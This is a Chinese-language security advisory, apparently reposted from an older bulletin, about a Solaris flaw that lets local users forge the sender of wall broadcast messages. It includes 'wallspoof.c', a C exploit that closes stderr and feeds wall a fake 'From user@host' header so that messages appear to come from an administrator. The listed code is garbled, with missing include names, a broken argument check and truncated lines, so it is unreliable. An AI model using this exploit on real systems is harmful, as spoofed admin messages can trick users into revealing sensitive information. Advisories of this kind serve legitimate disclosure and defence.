Sun Solaris Wall 信息来源可伪造缺陷
程序员文章站
2022-05-16 16:08:22
...
涉及程序: Sun Solaris Wall 描述: Sun Solaris Wall 信息 来源 可 伪造 缺陷 详细: 在Solaris中,wall程序用于将一些 信息 广播到登陆到系统上的每一个用户。 守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall
涉及程序:
Sun Solaris Wall
描述:
Sun Solaris Wall 信息来源可伪造缺陷
详细:
在Solaris中,wall程序用于将一些信息广播到登陆到系统上的每一个用户。
守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall 程序, 由wall将收到的讯息发送给分时系统(time-sharing system)上所有的终端机。wall区别于本地和远程用户请求消息是通过检查stderr文件描述符是否指向对应的tty。如果不是,wall程序将检查消息前5个字节是否为"From";如果是,下一个非空白字符必须为user@host形式。
恶意用户可在执行程序/usr/sbin/wall前通过简单关闭stderr,并发送一个伪造的"From"报头来伪造rpc.walld信息,使用户接收到此消息时,误以为是管理员发过来的信息。
攻击者可利用此缺陷通过发送伪造信息愚弄目标网络中普通用户,使他们信以为真而进行一些可能泄露敏感信息的行为。
受影响系统:
Sun Solaris Wall
- Sun Solaris 2.x 至 9.0
攻击方法:
/*
wallspoof.c - SOLARIS (X86/SPARC) Exploit
Don't use this in a malicious way! (i.e. to own people)
*/
#include
#include
#include
int main(int argc, char **argv)
{
char *userhost;
char mesg[2050];
FILE *tmp;
if (argc ?fprintf (stderr, "usage: wallspoof user@host\n");
?exit (-1);
}
userhost = argv[1];
if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
?perror ("open");
?exit (-1);
}
printf ("Enter your message below. End your message with an EOF (Control+D).\n");
fprintf (tmp, "From %s:", userhost);
while (fgets(mesg, 2050, stdin) != NULL)
?fprintf (tmp, "%s", mesg);
fclose (tmp);
fclose (stderr);
printf ("
system ("/usr/sbin/wall unlink ("/tmp/rxax");
}
解决方案:
目前厂商还没有提供补丁或升级程序,建议用户随时关注厂商站点:
http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access
附加信息:
无